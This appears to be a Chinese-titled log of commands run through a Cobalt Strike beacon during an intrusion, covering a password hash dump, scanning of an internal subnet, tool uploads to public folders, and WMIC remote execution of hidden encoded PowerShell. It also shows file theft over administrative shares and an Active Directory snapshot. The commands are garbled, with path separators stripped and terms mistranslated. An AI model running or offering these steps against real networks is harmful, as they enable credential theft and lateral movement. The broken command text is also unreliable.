一次实战CS上执行命令

哈希多姆

shell操作列表/SVC | findstr 2468

shell wmic logical disk where drive type=3 get device id

upload c : users Alex desktop tools (c : users public )

shell c : users public -cc : users public

upload c : users Alex desktop tools (c : users public )

shell c : users public -h 10 . 20 . 1 . 0/24

链接10.20.1.5

shell wmic/node :10 . 20 . 1 . 5作业系统get name、作业系统架构

shell wmic/node :10 . 20 . 1 . 5 process get processid，name

lost link to parent beacon : 192 . 9 . 210 . 4

[]established link to parent beacon : 192 . 9 . 210 . 4

[*]tasked beacon to sleep for 30s(30% jitter)[change made to 3360 beacon 192 . 9 . 210 . 4 @ 5668]

shell wmic/node :10 . 20 . 1 . 9 process call create ' cmd/c powershell-nop-w hidden-encoded command

v

download 10 . 20 . 1 . 2 c $ windows win . ini-

Mkdir C:WindowsTemptemp

upload c : users bighead desktop adex

shell c : windows temp temp adex-snapshot ' ' c : windows temp temp ad.